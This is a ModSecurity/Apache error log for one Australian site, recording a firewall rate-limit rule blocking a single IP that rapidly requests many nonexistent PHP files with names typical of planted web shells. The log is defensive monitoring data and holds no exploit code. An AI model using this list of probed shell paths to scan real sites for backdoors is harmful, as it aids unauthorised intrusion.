[Sat Feb 28 11:36:23.446771 2026] [:error] [pid 39184:tid 39225] [client 20.104.82.189:6227] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x56.php"] [unique_id "aaJit1tZF9Zd_U7easDGuQAAAEY"]
[Sat Feb 28 11:36:23.864360 2026] [:error] [pid 22194:tid 22213] [client 20.104.82.189:6174] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x56.php"] [unique_id "aaJit36mbajs3bzQGysmpAAAAVE"]
[Sat Feb 28 11:36:24.277058 2026] [:error] [pid 11791:tid 11796] [client 20.104.82.189:6185] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aaJiuGuX5e1Q32gqxH3sIAAAAQM"]
[Sat Feb 28 11:36:24.687918 2026] [:error] [pid 39185:tid 39259] [client 20.104.82.189:6161] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aaJiuBVE-FfM89u7BQZ5YgAAAI0"]
[Sat Feb 28 11:36:25.103587 2026] [:error] [pid 22194:tid 22208] [client 20.104.82.189:6156] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aaJiuX6mbajs3bzQGysmpwAAAUw"]
[Sat Feb 28 11:36:25.513767 2026] [:error] [pid 52460:tid 52466] [client 20.104.82.189:6217] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aaJiubLWOogAgHGh62TbTQAAAYM"]
[Sat Feb 28 11:36:25.931323 2026] [:error] [pid 39292:tid 39310] [client 20.104.82.189:6195] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aaJiuaIAO5fN7BxyqcGyCAAAANA"]
[Sat Feb 28 11:36:26.348282 2026] [:error] [pid 39185:tid 39251] [client 20.104.82.189:6186] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aaJiuhVE-FfM89u7BQZ5awAAAIU"]
[Sat Feb 28 11:36:26.775801 2026] [:error] [pid 39185:tid 39259] [client 20.104.82.189:6188] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aaJiuhVE-FfM89u7BQZ5cQAAAI0"]
[Sat Feb 28 11:36:27.194190 2026] [:error] [pid 39292:tid 39317] [client 20.104.82.189:6158] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aaJiu6IAO5fN7BxyqcGyDgAAANc"]
[Sat Feb 28 11:36:27.618089 2026] [:error] [pid 39185:tid 39248] [client 20.104.82.189:6202] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x50.php"] [unique_id "aaJiuxVE-FfM89u7BQZ5egAAAII"]
[Sat Feb 28 11:36:28.119589 2026] [:error] [pid 22194:tid 22209] [client 20.104.82.189:6199] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x50.php"] [unique_id "aaJivH6mbajs3bzQGysmqgAAAU0"]
[Sat Feb 28 11:36:28.542126 2026] [:error] [pid 11791:tid 11799] [client 20.104.82.189:6213] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x50.php"] [unique_id "aaJivGuX5e1Q32gqxH3sKgAAAQY"]
[Sat Feb 28 11:36:28.983018 2026] [:error] [pid 11791:tid 11809] [client 20.104.82.189:6167] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x50.php"] [unique_id "aaJivGuX5e1Q32gqxH3sMgAAARA"]
[Sat Feb 28 11:36:29.407529 2026] [:error] [pid 39185:tid 39250] [client 20.104.82.189:6208] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fv.php"] [unique_id "aaJivRVE-FfM89u7BQZ5iQAAAIQ"]
[Sat Feb 28 11:36:29.826765 2026] [:error] [pid 39185:tid 39253] [client 20.104.82.189:6189] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fv.php"] [unique_id "aaJivRVE-FfM89u7BQZ5kQAAAIc"]
[Sat Feb 28 11:36:30.241466 2026] [:error] [pid 39292:tid 39312] [client 20.104.82.189:6239] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fv.php"] [unique_id "aaJivqIAO5fN7BxyqcGyEwAAANI"]
[Sat Feb 28 11:36:30.654300 2026] [:error] [pid 52460:tid 52476] [client 20.104.82.189:6178] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fv.php"] [unique_id "aaJivrLWOogAgHGh62TbXAAAAY0"]
[Sat Feb 28 11:36:31.065843 2026] [:error] [pid 39185:tid 39267] [client 20.104.82.189:6244] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aaJivxVE-FfM89u7BQZ5mAAAAJU"]
[Sat Feb 28 11:36:31.476015 2026] [:error] [pid 52460:tid 52467] [client 20.104.82.189:6149] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aaJiv7LWOogAgHGh62TbYgAAAYQ"]
[Sat Feb 28 11:36:31.885178 2026] [:error] [pid 39292:tid 39307] [client 20.104.82.189:6214] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aaJiv6IAO5fN7BxyqcGyGgAAAM0"]
[Sat Feb 28 11:36:32.298953 2026] [:error] [pid 39183:tid 39213] [client 20.104.82.189:6155] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aaJiwBCf4HvhVePw3LbZMwAAABU"]
[Sat Feb 28 11:36:32.715139 2026] [:error] [pid 39292:tid 39295] [client 20.104.82.189:6263] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lsd.php"] [unique_id "aaJiwKIAO5fN7BxyqcGyIwAAAME"]
[Sat Feb 28 11:36:33.132952 2026] [:error] [pid 52460:tid 52468] [client 20.104.82.189:6235] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lsd.php"] [unique_id "aaJiwbLWOogAgHGh62TbcgAAAYU"]
[Sat Feb 28 11:36:33.549019 2026] [:error] [pid 52460:tid 52466] [client 20.104.82.189:6236] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lsd.php"] [unique_id "aaJiwbLWOogAgHGh62TbdwAAAYM"]
[Sat Feb 28 11:36:33.967794 2026] [:error] [pid 52460:tid 52476] [client 20.104.82.189:6212] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lsd.php"] [unique_id "aaJiwbLWOogAgHGh62TbgQAAAY0"]
[Sat Feb 28 11:36:34.382228 2026] [:error] [pid 52460:tid 52474] [client 20.104.82.189:6219] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aaJiwrLWOogAgHGh62TbiAAAAYs"]
[Sat Feb 28 11:36:34.793693 2026] [:error] [pid 52460:tid 52472] [client 20.104.82.189:6163] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aaJiwrLWOogAgHGh62TbkQAAAYk"]
[Sat Feb 28 11:36:35.202968 2026] [:error] [pid 52460:tid 52466] [client 20.104.82.189:6215] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aaJiw7LWOogAgHGh62TblwAAAYM"]
[Sat Feb 28 11:36:35.613619 2026] [:error] [pid 39185:tid 39263] [client 20.104.82.189:6207] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aaJiwxVE-FfM89u7BQZ5oAAAAJE"]
[Sat Feb 28 11:36:36.024919 2026] [:error] [pid 39185:tid 39262] [client 20.104.82.189:6172] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aaJixBVE-FfM89u7BQZ5pAAAAJA"]
[Sat Feb 28 11:36:36.434500 2026] [:error] [pid 11791:tid 11802] [client 20.104.82.189:6201] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aaJixGuX5e1Q32gqxH3sPgAAAQk"]
[Sat Feb 28 11:36:36.843117 2026] [:error] [pid 39185:tid 39257] [client 20.104.82.189:6289] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aaJixBVE-FfM89u7BQZ5qQAAAIs"]
[Sat Feb 28 11:36:37.257127 2026] [:error] [pid 39184:tid 39236] [client 20.104.82.189:6147] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aaJixVtZF9Zd_U7easDGwgAAAFE"]
[Sat Feb 28 11:36:37.666436 2026] [:error] [pid 39184:tid 39237] [client 20.104.82.189:6152] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gtc.php"] [unique_id "aaJixVtZF9Zd_U7easDGxQAAAFI"]
[Sat Feb 28 11:36:38.076847 2026] [:error] [pid 52460:tid 52485] [client 20.104.82.189:6278] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gtc.php"] [unique_id "aaJixrLWOogAgHGh62TbowAAAZY"]
[Sat Feb 28 11:36:38.490024 2026] [:error] [pid 52460:tid 52481] [client 20.104.82.189:6173] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gtc.php"] [unique_id "aaJixrLWOogAgHGh62TbpQAAAZI"]
[Sat Feb 28 11:36:38.911127 2026] [:error] [pid 11791:tid 11796] [client 20.104.82.189:6220] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gtc.php"] [unique_id "aaJixmuX5e1Q32gqxH3sSQAAAQM"]
[Sat Feb 28 11:36:39.327445 2026] [:error] [pid 39184:tid 39240] [client 20.104.82.189:6176] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atx.php"] [unique_id "aaJix1tZF9Zd_U7easDG0QAAAFU"]
[Sat Feb 28 11:36:39.741727 2026] [:error] [pid 11791:tid 11795] [client 20.104.82.189:6218] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atx.php"] [unique_id "aaJix2uX5e1Q32gqxH3sTQAAAQI"]
[Sat Feb 28 11:36:40.162782 2026] [:error] [pid 52460:tid 52477] [client 20.104.82.189:6262] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atx.php"] [unique_id "aaJiyLLWOogAgHGh62TbtAAAAY4"]
[Sat Feb 28 11:36:40.580895 2026] [:error] [pid 39185:tid 39256] [client 20.104.82.189:6243] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atx.php"] [unique_id "aaJiyBVE-FfM89u7BQZ5sQAAAIo"]
[Sat Feb 28 11:36:41.002526 2026] [:error] [pid 39185:tid 39270] [client 20.104.82.189:6176] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aaJiyRVE-FfM89u7BQZ5swAAAJg"]
[Sat Feb 28 11:36:41.414797 2026] [:error] [pid 11791:tid 11803] [client 20.104.82.189:6225] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aaJiyWuX5e1Q32gqxH3sVgAAAQo"]
[Sat Feb 28 11:36:41.833242 2026] [:error] [pid 52460:tid 52472] [client 20.104.82.189:6151] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aaJiybLWOogAgHGh62TbwgAAAYk"]
[Sat Feb 28 11:36:42.244905 2026] [:error] [pid 52460:tid 52473] [client 20.104.82.189:6216] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aaJiyrLWOogAgHGh62TbyQAAAYo"]
[Sat Feb 28 11:36:42.659261 2026] [:error] [pid 22194:tid 22213] [client 20.104.82.189:6190] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aaJiyn6mbajs3bzQGysmswAAAVE"]
[Sat Feb 28 11:36:43.071336 2026] [:error] [pid 11791:tid 11796] [client 20.104.82.189:6276] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aaJiy2uX5e1Q32gqxH3sWQAAAQM"]
[Sat Feb 28 11:36:43.492663 2026] [:error] [pid 52460:tid 52468] [client 20.104.82.189:6193] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aaJiy7LWOogAgHGh62Tb0gAAAYU"]
[Sat Feb 28 11:36:43.908686 2026] [:error] [pid 39183:tid 39212] [client 20.104.82.189:6233] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aaJiyxCf4HvhVePw3LbZOgAAABQ"]
[Sat Feb 28 11:36:44.323347 2026] [:error] [pid 52460:tid 52467] [client 20.104.82.189:6229] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aaJizLLWOogAgHGh62Tb3QAAAYQ"]
[Sat Feb 28 11:36:44.738306 2026] [:error] [pid 52460:tid 52469] [client 20.104.82.189:6265] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aaJizLLWOogAgHGh62Tb5AAAAYY"]
[Sat Feb 28 11:36:45.175948 2026] [:error] [pid 39184:tid 39222] [client 20.104.82.189:6162] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aaJizVtZF9Zd_U7easDG1AAAAEM"]
[Sat Feb 28 11:36:45.594685 2026] [:error] [pid 11791:tid 11817] [client 20.104.82.189:6257] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aaJizWuX5e1Q32gqxH3sYQAAARg"]
[Sat Feb 28 11:36:46.019043 2026] [:error] [pid 52460:tid 52466] [client 20.104.82.189:6211] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aaJizrLWOogAgHGh62Tb8QAAAYM"]
[Sat Feb 28 11:36:46.427944 2026] [:error] [pid 52460:tid 52479] [client 20.104.82.189:6221] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aaJizrLWOogAgHGh62Tb-gAAAZA"]
[Sat Feb 28 11:36:46.855534 2026] [:error] [pid 11791:tid 11799] [client 20.104.82.189:6223] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aaJizmuX5e1Q32gqxH3sYwAAAQY"]
